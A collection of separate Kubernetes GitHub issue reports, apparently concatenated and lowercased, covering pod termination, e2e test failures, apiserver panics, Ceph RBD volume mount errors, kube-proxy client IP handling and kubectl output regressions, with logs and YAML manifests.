hi, we are trying to utilize kubernetes to schedule our containers.  we have long running processes that we want to perform rolling updates on.  we can monitor when they are ready to be removed and can expose that to kubernetes.  however, it doesn't appear that kubernetes holds termination until prestop completes.  it appears that prestop is fire and forget in 1.1.  also, it appears that setting --grace-period on delete of an rc has no impact.  on our example nginx container it takes 30s whether it is set to 0 or longer than 30s.  so how can we keep a pod up that needs replaced until it has served all active clients?

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/29246/kubernetes-pull-build-test-e2e-gce/49885/  failed:  k8s.io  services should serve a basic endpoint from pods  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:140 jul 20 12:49:46.513: timed out waiting for service endpoint-test2 in namespace e2e-tests-services-9f0td to expose endpoints map pod1: 80    1m0s elapsed       happened on a presubmit run in  29246.  previous issues for this test:  26678

i'm building this list based on actual attempts to make use of the genericapiserver\r -  x  serializer should be set by default\r -  x  version is messed up.  i need to be able to pass values through https://github.com/kubernetes/kubernetes/pull/34967\r -  x  authentication setup: it should be really easy to set up: anonymous, clientca  same as master , master webhook https://github.com/kubernetes/kubernetes/pull/36604\r -  x  authorization setup: it should be really easy to set up delegation to master https://github.com/kubernetes/kubernetes/pull/36604\r \r @sttts @ncdc @liggitt \r

on gci node, i noticed that if systemd-journaltd was killed due to any reason, both docker and kubelet will be restarted. we found both has dependency on systemd-journaltd. we should understand why and if possible, we should remove this extra dependencies. \r \r    \r   systemctl list-dependencies kubelet\r kubelet.service\r   |-system.slice\r   |-basic.target\r   | |-ip6tables-setup.service\r   | |-iptables-setup.service\r   | |-tmp.mount\r   | |-paths.target\r   | |-slices.target\r   | | |--.slice\r   | |  -system.slice\r   | |-sockets.target\r   | | |-dbus.socket\r   | | |-docker.socket\r   | | |-systemd-initctl.socket\r   | | |-systemd-journald-audit.socket\r   | | |-systemd-journald-dev-log.socket\r   | | |-systemd-journald.socket\r   | | |-systemd-networkd.socket\r   | | |-systemd-udevd-control.socket\r   | |  -systemd-udevd-kernel.socket\r   | |-sysinit.target\r   | | |-dev-hugepages.mount\r   | | |-dev-mqueue.mount\r   | | |-kmod-static-nodes.service\r   | | |-ldconfig.service\r   | | |-proc-sys-fs-binfmt_misc.automount\r   | | |-resize-stateful-partition.service\r   | | |-sys-fs-fuse-connections.mount\r   | | |-sys-kernel-config.mount\r   | | |-sys-kernel-debug.mount\r   | | |-systemd-ask-password-console.path\r   | | |-systemd-binfmt.service\r   | | |-systemd-journal-catalog-update.service\r   | | |-systemd-journal-flush.service\r   | | |-systemd-journald.service\r   | | |-systemd-machine-id-commit.service\r   | | |-systemd-modules-load.service\r   | | |-systemd-sysctl.service\r   | | |-systemd-timesyncd.service\r   | | |-systemd-tmpfiles-setup-dev.service\r   | | |-systemd-tmpfiles-setup.service\r   | | |-systemd-udev-trigger.service\r   | | |-systemd-udevd.service\r   | | |-systemd-update-done.service\r   | | |-local-fs.target\r   | | | |-mnt-disks.mount\r   | | | |-mount-etc-overlay.service\r   | | | |-systemd-remount-fs.service\r   | | | |-tmp.mount\r   | | | |-var-lib-docker-remount.service\r   | | | |-var-lib-google-remount.service\r   | | | |-var-lib-machines.mount\r   | | |  -var-lib-toolbox-remount.service\r   | |  -swap.target\r   |  -timers.target\r   |   |-crash-sender.timer\r   |    -systemd-tmpfiles-clean.timer\r    -network-online.target\r      -systemd-networkd-wait-online.service\r    \r \r    \r   systemctl list-dependencies docker\r docker.service\r   |-docker.socket\r   |-system.slice\r    -basic.target\r     |-ip6tables-setup.service\r     |-iptables-setup.service\r     |-tmp.mount\r     |-paths.target\r     |-slices.target\r     | |--.slice\r     |  -system.slice\r     |-sockets.target\r     | |-dbus.socket\r     | |-docker.socket\r     | |-systemd-initctl.socket\r     | |-systemd-journald-audit.socket\r     | |-systemd-journald-dev-log.socket\r     | |-systemd-journald.socket\r     | |-systemd-networkd.socket\r     | |-systemd-udevd-control.socket\r     |  -systemd-udevd-kernel.socket\r     |-sysinit.target\r     | |-dev-hugepages.mount\r     | |-dev-mqueue.mount\r     | |-kmod-static-nodes.service\r     | |-ldconfig.service\r     | |-proc-sys-fs-binfmt_misc.automount\r     | |-resize-stateful-partition.service\r     | |-sys-fs-fuse-connections.mount\r     | |-sys-kernel-config.mount\r     | |-sys-kernel-debug.mount\r     | |-systemd-ask-password-console.path\r     | |-systemd-binfmt.service\r     | |-systemd-journal-catalog-update.service\r     | |-systemd-journal-flush.service\r     | |-systemd-journald.service\r     | |-systemd-machine-id-commit.service\r     | |-systemd-modules-load.service\r     | |-systemd-sysctl.service\r     | |-systemd-timesyncd.service\r     | |-systemd-tmpfiles-setup-dev.service\r     | |-systemd-tmpfiles-setup.service\r     | |-systemd-udev-trigger.service\r     | |-systemd-udevd.service\r     | |-systemd-update-done.service\r     | |-local-fs.target\r     | | |-mnt-disks.mount\r     | | |-mount-etc-overlay.service\r     | | |-systemd-remount-fs.service\r     | | |-tmp.mount\r     | | |-var-lib-docker-remount.service\r     | | |-var-lib-google-remount.service\r     | | |-var-lib-machines.mount\r     | |  -var-lib-toolbox-remount.service\r     |  -swap.target\r      -timers.target\r       |-crash-sender.timer\r        -systemd-tmpfiles-clean.timer\r    \r \r beside above dependencies, @yujuhong also mentioned a known docker issue: \r https://github.com/docker/docker/pull/22460

copied from https://github.com/kubernetes/kubernetes/pull/40666 issuecomment-276563996\r \r initial attempt:  40775\r \r we should at least have the following unit tests:\r - create object with unknown group/version  covers tpr creation scenario \r - changing patch of object with unknown group/version  covers tpr apply scenario \r - no-op patch  idempotent apply  object with unknown group/version  covers tpr re-apply scenario \r - changing patch of known object  like deployments  in an unknown version  will need to add the unknown version to the fake discovery doc - see https://github.com/kubernetes/kubernetes/pull/40630/commits/cf74abd892fd61fbfc6967b1814bc911df8fd413 diff-685443e183899c880f3c3150021d7229 as an example  - makes sure kubectl is resilient to future versions of known objects being introduced

see  gubernator  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/44048/pull-kubernetes-verify/24940/ .\r \r    \r i0407 21:01:59.241  verifying hack/make-rules/../../hack/verify-federation-openapi-spec.sh\r i0407 21:02:09.673  +++  0407 21:02:09  building the toolchain targets:\r i0407 21:02:09.673      k8s.io/kubernetes/hack/cmd/teststale\r i0407 21:02:09.674      k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r i0407 21:02:09.797  +++  0407 21:02:09  generating bindata:\r i0407 21:02:09.797      test/e2e/generated/gobindata_util.go\r i0407 21:02:09.870  /go/src/k8s.io/kubernetes /go/src/k8s.io/kubernetes/test/e2e/generated\r i0407 21:02:10.507  /go/src/k8s.io/kubernetes/test/e2e/generated\r i0407 21:02:10.510  +++  0407 21:02:10  building go targets for linux/amd64:\r i0407 21:02:10.510      cmd/hyperkube\r i0407 21:04:09.485  etcd --advertise-client-urls http://127.0.0.1:2379 --data-dir /tmp/tmp.duw6zo6aeh --listen-client-urls http://127.0.0.1:2379 --debug > \ /workspace/artifacts/etcd.b2c0115fb7b7.root.log.debug.20170407-210409.758\  2>/dev/null\r i0407 21:04:09.486  waiting for etcd to come up.\r i0407 21:04:09.764  +++  0407 21:04:09  on try 2, etcd: : http://127.0.0.1:2379\r i0407 21:04:09.773  {\ action\ :\ set\ ,\ node\ :{\ key\ :\ /_test\ ,\ value\ :\ \ ,\ modifiedindex\ :4,\ createdindex\ :4}}\r i0407 21:04:09.775  +++  0407 21:04:09  starting federation-apiserver\r i0407 21:04:10.800  +++  0407 21:04:10  on try 2, apiserver: : {\r i0407 21:04:10.800    \ paths\ :  \r i0407 21:04:10.800      \ /api\ ,\r i0407 21:04:10.800      \ /api/v1\ ,\r i0407 21:04:10.801      \ /apis\ ,\r i0407 21:04:10.801      \ /apis/extensions\ ,\r i0407 21:04:10.801      \ /apis/extensions/v1beta1\ ,\r i0407 21:04:10.801      \ /apis/federation\ ,\r i0407 21:04:10.802      \ /apis/federation/v1beta1\ ,\r i0407 21:04:10.802      \ /logs\ ,\r i0407 21:04:10.802      \ /swaggerapi/\ ,\r i0407 21:04:10.802      \ /ui/\ ,\r i0407 21:04:10.802      \ /version\ \r i0407 21:04:10.803     \r i0407 21:04:10.803  }\r i0407 21:04:10.803  +++  0407 21:04:10  updating \r i0407 21:04:10.803      /go/src/k8s.io/kubernetes/hack/../federation/apis/openapi-spec\r i0407 21:04:10.823  +++  0407 21:04:10  clean up complete\r i0407 21:04:10.831  failed   hack/make-rules/../../hack/verify-federation-openapi-spec.sh\t131s\r i0407 21:04:10.832  verifying hack/make-rules/../../hack/verify-generated-docs.sh\r w0407 21:04:10.932  /go/src/k8s.io/kubernetes/hack/lib/etcd.sh: line 77: 12951 terminated              \ ${kube_output_hostbin}/hyperkube\  federation-apiserver --insecure-bind-address=\ ${api_host}\  --bind-address=\ ${api_host}\  --insecure-port=\ ${api_port}\  --etcd-servers=\ http://${etcd_host}:${etcd_port}\  --advertise-address=\ 10.10.10.10\  --cert-dir=\ ${tmp_dir}/certs\  --token-auth-file=$tmp_dir/tokenauth.csv > /tmp/openapi-federation-api-server.log 2>&1\r    \r \r etcd log\r    \r 2017-04-07 21:04:09.510047 i | etcdmain: etcd version: 3.0.17\r 2017-04-07 21:04:09.510174 i | etcdmain: git sha: cc198e2\r 2017-04-07 21:04:09.510183 i | etcdmain: go version: go1.6.4\r 2017-04-07 21:04:09.510189 i | etcdmain: go os/arch: linux/amd64\r 2017-04-07 21:04:09.510197 i | etcdmain: setting maximum number of cpus to 8, total number of available cpus is 8\r 2017-04-07 21:04:09.510712 i | etcdmain: listening for peers on http://localhost:2380\r 2017-04-07 21:04:09.510781 i | etcdmain: listening for client requests on 127.0.0.1:2379\r 2017-04-07 21:04:09.516521 i | etcdserver: name = default\r 2017-04-07 21:04:09.516544 i | etcdserver: data dir = /tmp/tmp.duw6zo6aeh\r 2017-04-07 21:04:09.516553 i | etcdserver: member dir = /tmp/tmp.duw6zo6aeh/member\r 2017-04-07 21:04:09.516560 i | etcdserver: heartbeat = 100ms\r 2017-04-07 21:04:09.516565 i | etcdserver: election = 1000ms\r 2017-04-07 21:04:09.516571 i | etcdserver: snapshot count = 10000\r 2017-04-07 21:04:09.516585 i | etcdserver: advertise client urls = http://127.0.0.1:2379\r 2017-04-07 21:04:09.516594 i | etcdserver: initial advertise peer urls = http://localhost:2380\r 2017-04-07 21:04:09.516606 i | etcdserver: initial cluster = default=http://localhost:2380\r 2017-04-07 21:04:09.535031 i | etcdserver: starting member 8e9e05c52164694d in cluster cdf818194e3a8c32\r 2017-04-07 21:04:09.535118 i | raft: 8e9e05c52164694d became follower at term 0\r 2017-04-07 21:04:09.535147 i | raft: newraft 8e9e05c52164694d  peers:   , term: 0, commit: 0, applied: 0, lastindex: 0, lastterm: 0 \r 2017-04-07 21:04:09.535156 i | raft: 8e9e05c52164694d became follower at term 1\r 2017-04-07 21:04:09.546583 i | etcdserver: starting server...  version: 3.0.17, cluster version: to_be_decided \r 2017-04-07 21:04:09.547586 i | membership: added member 8e9e05c52164694d  http://localhost:2380  to cluster cdf818194e3a8c32\r 2017-04-07 21:04:09.735738 i | raft: 8e9e05c52164694d is starting a new election at term 1\r 2017-04-07 21:04:09.735832 i | raft: 8e9e05c52164694d became candidate at term 2\r 2017-04-07 21:04:09.735845 i | raft: 8e9e05c52164694d received vote from 8e9e05c52164694d at term 2\r 2017-04-07 21:04:09.735868 i | raft: 8e9e05c52164694d became leader at term 2\r 2017-04-07 21:04:09.735884 i | raft: raft.node: 8e9e05c52164694d elected leader 8e9e05c52164694d at term 2\r 2017-04-07 21:04:09.736529 i | etcdserver: published {name:default clienturls: http://127.0.0.1:2379 } to cluster cdf818194e3a8c32\r 2017-04-07 21:04:09.736553 i | etcdmain: ready to serve client requests\r 2017-04-07 21:04:09.736626 i | etcdserver: setting up the initial cluster version to 3.0\r 2017-04-07 21:04:09.737994 n | membership: set the initial cluster version to 3.0\r 2017-04-07 21:04:09.738771 i | api: enabled capabilities for version 3.0\r 2017-04-07 21:04:09.739014 n | etcdmain: serving insecure client requests on 127.0.0.1:2379, this is strongly discouraged!\r 2017-04-07 21:04:09.761023 d | v2http:  get  /v2/machines remote:127.0.0.1:32997\r 2017-04-07 21:04:09.771805 d | v2http:  put  /v2/keys/_test remote:127.0.0.1:32998\r 2017-04-07 21:04:10.814989 n | osutil: received terminated signal, shutting down...\r    \r i'm not actually sure what went wrong here, but i guess it failed.\r \r @mbohlool

and the namespace controller should also list uninitialized resources during deletion.\r \r even thought initializers are alpha, it's possible for end users to leave resources behind during initialization without this change which means data can leak.

example call stack from  48700:\r \r    \r i0708 04:52:19.376927       8 logs.go:41  http2: panic serving 35.184.222.31:52308: multiple newlogged calls!\r 79860470 goroutine 1237316710  running :\r 79860471 net/http.  http2serverconn .runhandler.func1 0xc6c13e0a28, 0xc4794b1faf, 0xc4455908c0 \r 79860472         /usr/local/go/src/net/http/h2_bundle.go:4604 +0x190\r 79860473 panic 0x2ccc6c0, 0xc6a7a91f90 \r 79860474         /usr/local/go/src/runtime/panic.go:489 +0x2cf\r 79860475 k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime.handlecrash 0xc4794b1cd8, 0x1, 0x1 \r 79860476         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:58 +0x126\r 79860477 panic 0x2ccc6c0, 0xc6a7a91f90 \r 79860478         /usr/local/go/src/runtime/panic.go:489 +0x2cf\r 79860479 k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog.newlogged 0xc72d583c00, 0xc42a5d2ac8, 0x6de9d00 \r 79860480         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog/log.go:99 +0x85\r 79860481 k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.toomanyrequests 0xc72d583c00, 0x6c2e4c0, 0xc66fabc150 \r 79860482         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/maxinflight.go:106 +0x39\r 79860483 k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withmaxinflightlimit.func1 0x6c2e4c0, 0xc66fabc150, 0xc72d583c00 \r 79860484         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/maxinflight.go:97 +0x1e2\r 79860485 net/http.handlerfunc.servehttp 0xc421d0ef00, 0x6c2e4c0, 0xc66fabc150, 0xc72d583c00 \r 79860486         /usr/local/go/src/net/http/server.go:1942 +0x44\r 79860487 k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withrequestinfo.func1 0x6c2e4c0, 0xc66fabc150, 0xc72d583c00 \r 79860488         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/requestinfo.go:45 +0x200\r 79860489 net/http.handlerfunc.servehttp 0xc422b9af30, 0x6c2e4c0, 0xc66fabc150, 0xc72d583c00 \r 79860490         /usr/local/go/src/net/http/server.go:1942 +0x44\r 79860491 k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request.withrequestcontext.func1 0x6c2e4c0, 0xc66fabc150, 0xc72d583c00 \r 79860492         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request/requestcontext.go:110 +0xef\r 79860493 net/http.handlerfunc.servehttp 0xc422ec2dc0, 0x6c2e4c0, 0xc66fabc150, 0xc72d583c00 \r 79860494         /usr/local/go/src/net/http/server.go:1942 +0x44\r 79860495 k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withpanicrecovery.func1 0x6c2e4c0, 0xc66fabc150, 0xc72d583c00 \r 79860496         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/wrap.go:41 +0x11b\r 79860497 net/http.handlerfunc.servehttp 0xc422ec2de0, 0x6c2ee80, 0xc6c13e0a28, 0xc72d583c00 \r 79860498         /usr/local/go/src/net/http/server.go:1942 +0x44\r 79860499 k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  apiserverhandler .servehttp 0xc422b9aff0, 0x6c2ee80, 0xc6c13e0a28, 0xc72d583c00 \r 79860500         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:198 +0x51\r 79860501 net/http.serverhandler.servehttp 0xc422150a50, 0x6c2ee80, 0xc6c13e0a28, 0xc72d583c00 \r 79860502         /usr/local/go/src/net/http/server.go:2568 +0x92\r 79860503 net/http.initnpnrequest.servehttp 0xc447aa0a80, 0xc422150a50, 0x6c2ee80, 0xc6c13e0a28, 0xc72d583c00 \r 79860504         /usr/local/go/src/net/http/server.go:3088 +0x93\r 79860505 net/http.  initnpnrequest .servehttp 0xc4409f7920, 0x6c2ee80, 0xc6c13e0a28, 0xc72d583c00 \r 79860506         <autogenerated>:312 +0x74\r 79860507 net/http. handler .servehttp-fm 0x6c2ee80, 0xc6c13e0a28, 0xc72d583c00 \r 79860508         /usr/local/go/src/net/http/h2_bundle.go:4331 +0x4d\r 79860509 net/http.  http2serverconn .runhandler 0xc4455908c0, 0xc6c13e0a28, 0xc72d583c00, 0xc650c25d20 \r 79860510         /usr/local/go/src/net/http/h2_bundle.go:4611 +0x89\r 79860511 created by net/http.  http2serverconn .processheaders\r 79860512         /usr/local/go/src/net/http/h2_bundle.go:4343 +0x4ac\r    \r \r we should fix this and   add an integration test that sets the limit low and exercises apiserver when it is getting too many requests  .

didn't check the post-submit tests, but all pre-submit tests have the same issue.\r    \r i0716 08:59:36.433  specify --start=39519 in the next get-serial-port-output invocation to get only the new output starting from here.\r i0716 08:59:36.433  scp: /var/log/cluster-autoscaler.log : no such file or directory\r i0716 08:59:36.433  scp: /var/log/fluentd.log : no such file or directory\r i0716 08:59:36.433  scp: /var/log/startupscript.log : no such file or directory\r i0716 08:59:36.433  error:  gcloud.compute.scp   /usr/bin/scp  exited with return code  1 .\r i0716 08:59:36.433  dumping logs from nodes locally to '/workspace/_artifacts'\r i0716 08:59:36.434  /workspace/kubernetes/cluster/log-dump/log-dump.sh: line 208: $1: unbound variable\r i0716 08:59:36.434  jul 16 08:59:36.430: info: error running cluster/log-dump/log-dump.sh: exit status 1\r    \r most likely caused by the changes in  48651 \r @shyamjvs could you take a look?\r \r /assign @shyamjvs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r \r  \r   what happened  :\r \r the rbd storageclass and pvc are working as expected  bound together, pvc provisionned, can see the created images on the ceph pool . when i try to use the volumes in a  statefulset i get the following error \r    \r     warning  failedmount            14s  x3 over 4m   kubelet, node2     unable to mount volumes for pod \ mysql-0_default 2c4858f6-2dd1-11e8-9506-00505695ceef \ : timeout expired waiting for volumes to attach/mount for pod \ default\ /\ mysql-0\ . list of unattached/unmounted volumes= db \r    \r the error is a catch all so kubelet logs are included below\r \r   what you expected to happen  :\r \r for the pod to mount its volume properly.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i use the following yaml files to deploy ressources  \r storageclass\r    \r kind: storageclass\r apiversion: storage.k8s.io/v1beta1\r metadata:\r   name: cephrbd\r   annotations:\r      storageclass.beta.kubernetes.io/is-default-class: \ true\ \r provisioner: kubernetes.io/rbd\r parameters:\r     monitors: 172.29.1.138:6789, 172.29.1.139:6789, 172.29.1.140:6789\r     adminid: admin\r     adminsecretname: ceph-secret\r     pool: kube\r     fstype: ext4\r     userid: kube\r     usersecretname: ceph-user-secret\r \r    \r first pvc  2 others similar \r    \r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r  name: db-mysql-0\r spec:\r  accessmodes:\r    - readwriteonce\r  resources:\r    requests:\r      storage: 1gi\r    \r statefulset\r    \r apiversion: apps/v1beta1\r kind: statefulset\r metadata:\r   name: mysql\r   labels:\r     name: mysql  \r spec:\r   servicename: \ mysql\ \r   replicas: 3\r   template:\r     metadata:\r       labels:\r         name: mysql\r     spec:\r       terminationgraceperiodseconds: 10\r       containers:\r       - name: mysql\r         image: perconalab/percona-xtradb-cluster:5.6\r         ports:\r         - containerport: 3306\r           name: mysql\r         env:\r           - name: mysql_root_password\r             value: k8spassword\r           - name: discovery_service\r             value: etcd:2379\r           - name: xtrabackup_password\r             value: k8spassword\r           - name: cluster_name\r             value: percona\r         volumemounts:\r         - name: db\r           mountpath: /var/lib/mysql \r   volumeclaimtemplates:\r   - metadata:\r       name: db\r     spec:\r       accessmodes:   \ readwriteonce\   \r       resources:\r         requests:\r           storage: 1gi\r    \r \r   anything else we need to know?  :\r looking in the kubelet logs i get the following lines : \r    \r mar 22 14:01:29 node2 kubelet 2046 : i0322 14:01:29.115165    2046 reconciler.go:262  operationexecutor.mountvolume started for volume \ pvc-52ea13b0-2dd9-11e8-9506-00505695ceef\   uniquename: \ kubernetes.io/rbd/ 172.29.1.138:6789  172.29.1.139:6789  172.29.1.140:6789 :kubernetes-dynamic-pvc-52ecfdb3-2dd9-11e8-86c8-00505695ceef\   pod \ mysql-0\   uid: \ 58b6eaae-2dd9-11e8-9506-00505695ceef\  \r mar 22 14:01:29 node2 kubelet 2046 : i0322 14:01:29.115825    2046 operation_generator.go:446  mountvolume.waitforattach entering for volume \ pvc-52ea13b0-2dd9-11e8-9506-00505695ceef\   uniquename: \ kubernetes.io/rbd/ 172.29.1.138:6789  172.29.1.139:6789  172.29.1.140:6789 :kubernetes-dynamic-pvc-52ecfdb3-2dd9-11e8-86c8-00505695ceef\   pod \ mysql-0\   uid: \ 58b6eaae-2dd9-11e8-9506-00505695ceef\   devicepath \ \ \r mar 22 14:01:29 node2 kubelet 2046 : e0322 14:01:29.402591    2046 nestedpendingoperations.go:263  operation for \ \\\ kubernetes.io/rbd/ 172.29.1.138:6789  172.29.1.139:6789  172.29.1.140:6789 :kubernetes-dynamic-pvc-52ecfdb3-2dd9-11e8-86c8-00505695ceef\\\ \  failed. no retries permitted until 2018-03-22 14:02:33.402150246 +0000 utc m=+245312.690283744  durationbeforeretry 1m4s . error: \ mountvolume.waitforattach failed for volume \\\ pvc-52ea13b0-2dd9-11e8-9506-00505695ceef\\\   uniquename: \\\ kubernetes.io/rbd/ 172.29.1.138:6789  172.29.1.139:6789  172.29.1.140:6789 :kubernetes-dynamic-pvc-52ecfdb3-2dd9-11e8-86c8-00505695ceef\\\   pod \\\ mysql-0\\\   uid: \\\ 58b6eaae-2dd9-11e8-9506-00505695ceef\\\   : error: exit status 1, rbd output: 2018-03-22 14:01:29.382939 7f0c5e8a1100 -1 did not load config file, using default settings.\ rbd: error opening image kubernetes-dynamic-pvc-52ecfdb3-2dd9-11e8-86c8-00505695ceef:  1  operation not permitted\ 2018-03-22 14:01:29.398427 7f0c2ffff700 -1 librbd::image::openrequest: failed to retrieve image id:  1  operation not permitted\ 2018-03-22 14:01:29.398483 7f0c2f7fe700 -1 librbd::imagestate: 0x55825945e0c0 failed to open image:  1  operation not permitted\ \ \r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t21:07:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3+coreos.0\ , gitcommit:\ f588569ed1bd4a6c986205dd0d7b04da4ab1a3b6\ , gittreestate:\ clean\ , builddate:\ 2018-02-10t01:42:55z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r linux node2 4.4.0-87-generic  110-ubuntu smp tue jul 18 12:55:35 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r installed the cluster using kubespray on vsphere virtual machines\r - others:\r

kube-proxy cannot get real ip of client. follow the reference : \r https://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/\r my service config like that:\r    yaml\r kind: service\r apiversion: v1\r metadata:\r   name: haproxy-filebeat-service\r   namespace: dop-v2\r   annotations:\r    service.beta.kubernetes.io/external-traffic: onlylocal\r spec:\r   selector:\r     app: haproxy-filebeat\r   ports:\r     - name: http\r       protocol: tcp\r       port: 8001\r     - name: https\r       protocol: tcp\r       port: 443\r     - name: stats\r       protocol: tcp\r       port: 1936\r   type: nodeport\r    \r   but i also get the load-balancer ip, not the real ip  of client. does some configuration wrong in my environment?  \r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    v1.8.4\r - cloud provider or hardware configuration: \r    no\r - os  e.g. from /etc/os-release :\r    yaml\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r - kernel  e.g.  uname -a  :\r   linux node39 3.10.0-327.el7.x86_64  1 smp thu nov 19 22:10:57 utc 2015 x86_64 x86_64 x86_64 gnu/linux\r \r

failing job\r    gce-1.10-master-upgrade-cluster-parallel  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.10-master-upgrade-cluster-parallel \r    gke-gci-1.10-gci-master-upgrade-cluster-parallel  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-1.10-gci-master-upgrade-cluster-parallel \r \r   failing test\r   sig-network  proxy version v1 should proxy to cadvisor using proxy subresource failing in sig-release-master-upgrade suite  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster-parallel/3515 sig-network-proxy-version-v1-should-proxy-to-cadvisor-using-proxy-subresource \r \r    triage results\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?sig=network&job=ci-kubernetes-e2e-gce-new-master-upgrade-cluster-parallel\r \r this test started failing consistently in the upgrade jobs since 5/21 evening.\r \r  / /  /milestone v1.11\r @kubernetes/sig-network-bugs \r \r cc @jberkus @tpepper\r \r /assign @bjhaid \r \r @foxie @bjhaid  we are seeing consistent network e2e tests failing in sig-release-master-upgrade jobs. can you please triage this as  let us know if we can resolve it by code flush  5/29 ?

  \r   what happened  :\r kubectl 1.11.0 defaults  --use-openapi-print-columns  to  false   see  65578 , hence, you need to explicitly specify it for each and every single  kubectl get  request for a resource managed by an aggregated api server. however, it is even not able to print those resources properly  which was possible before with versions <= 1.10.5 :\r \r    bash\r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-22t05:40:33z\ , goversion:\ go1.9.7\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r \r $ kubectl get shoot\r namespace   name      seed   domain              version   control   nodes     system    latest\r core        test1     aws    test.example.com    1.10.5    true      true      true      succeeded\r    \r \r and\r \r    bash\r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t22:29:25z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r \r $ kubectl get shoot\r name     created at\r test1    2018-02-27t06:56:29z\r \r $ kubectl get shoot --use-openapi-print-columns\r namespace   name      seed      domain    version   control   nodes     system    latest\r <none>      <none>    <none>    <none>    <none>    <none>    <none>    <none>    <none>\r    \r \r   what you expected to happen  :\r properly printed and well-formatted output of  kubectl get shoot --use-openapi-print-columns .  actually, i do not want to specify  --use-openapi-print-columns  but this is what  65578 is for .\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    bash\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t22:29:25z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r    \r - kernel  e.g.  uname -a  : macos\r - install tools: brew

